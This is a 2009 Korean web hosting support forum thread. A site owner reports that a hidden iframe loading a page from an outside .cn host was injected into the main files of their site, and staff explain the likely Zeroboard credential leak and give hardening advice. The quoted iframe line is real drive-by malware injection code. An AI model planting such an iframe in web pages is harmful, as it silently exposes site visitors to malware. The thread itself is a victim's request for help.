compuz.com

뚝찐 2009/06/25 16:41:01	4239

홈페이지 해킹 [6]

제 홈피에 연결하니까 바이러스가 잡힙니다.
그리고 파일을 열어보니
main 파일마다
<iframe src="http://yourfilmlife.cn:8080/index.php " width=188 height=185 style="visibility: hidden"></iframe>

이렇게 삽입되어 있는데
이건 어떻게 된 겁니까?
사이트가 해킹 당한 건가요?

다시 백업한 파일로 올리긴 했는데
보안을 어떻게 해야하는 건지 빨리 답변 좀 주세요

writer ip : 125.177.58.13


122.43.111.41 2009/06/25 19:47:48		위와같은 홈페이지 해킹사고는 대부분 제로보드 같은 범용프로그램의 보안문제를 바탕으로 침투하여 위와같은 스크립트나 홈페이지 위변조의 피해를 주게 됩니다 모든 게시판의 설정에서 첨부파일의 확장자를 지정해 주시면 대부분의 해킹피해를 예방하실 수 있습니다. 제로보드 같은 범용프로그램의 최신버젼으로 업데이트해 주시고, 비밀번호를 변경해 주시기 바랍니다.(제로보드4는 pl9 버젼까지 업데이트 되었습니다.) 감사합니다. modify 2009/06/25 19:50:49


뚝찐 125.177.58.13 2009/06/26 18:44:07		그런데...제로보드와 상관없는 웹문서까지도 해킹이 된단 말씀이신가요? 저도 제로보드를 업데이트해야겠다고 생각하긴 했는데... 제로보드를 통해 서버에 있는 다른 파일까지도 된다는 건 납득이 잘 안되네요. 저도 전문가가 아니니... 사용자가 주의할 점을 좀 알려주시면 좋겠어요.


121.143.124.239 2009/06/26 21:00:38		제로보드를 통해 아이디/패스워드가 유출이 되었구요... 해당 아이디/패스워드를 이용해서 웹문서까지 변조가 되는것입니다. 주의할점은 이미 위 답변에서 말씀드렸습니다. 감사합니다.


뚝찐 125.177.58.13 2009/06/27 19:54:57		그럼 제로보드와 홈페이지 비밀번호가 달라도 마찬가지인가요? 현재는 다르게 되어 있는데도 오늘은 아예 이상한 폴더가 두 개 생겼습니다. 제로보드를 없애야할까요?


뚝찐 125.177.58.13 2009/06/27 20:07:37		제 서버에 first76, what52라는 폴더가 생겼는데 삭제를 해도 지워지지 않습니다. 안에 있던 파일은 없어졌지만 폴더는 삭제가 안되네요. 방법 좀 가르쳐주세요


115.140.123.130 2009/06/28 04:37:02		비밀번호는 DB비번과 FTP비번을 다르게 설정하시면 효과가 있습니다. 폴더안에 숨김파일이 존재하는듯 합니다. 관리자가 삭제해 드리도록 하겠습니다. 감사합니다.





24127	서비스 해지 [1]	김주남	01/16	0

24126	웹호스팅 연장 [1]	사과	01/16	0

24125	지금 홈페이지가 안들어가지네요. [1]	럽포	01/13	3808

24123	신규서비스 이전 [1]	김주남	01/08	0

24122	악성코드가 포함되었다는 경고 메시지가 뜹니다 [1]	안여옥	01/06	3845

24121	[급]!!! 도메인연결이 안됐네요? [1]	방준성	01/05	0

24120	시스템 업데이트 문의 [1]	김주남	01/04	3846

24119	텍스트큐브 설치시 에러;; [1]	방준성	01/04	0

24118	도메인 이전/연장 비용 문의 [1]	김주남	01/03	0

24117	보안 취약점 개선에 대하여 도움 부탁 드립니다. [1]	동우회	12/29	4088

24116	홈페이지 백업 신청합니다. [1]	Berry	12/22	0

24115	연장부탁합니다. [1]	멋쟁남	12/19	0

24114	서비스 연장 문의 [1]	여피	12/19	0

24113	문의드립니다. [1]	wellbeing	12/16	0

24112	자료이전 신청드립니다~ [1]	방준성	12/06	0

FIRST

LAST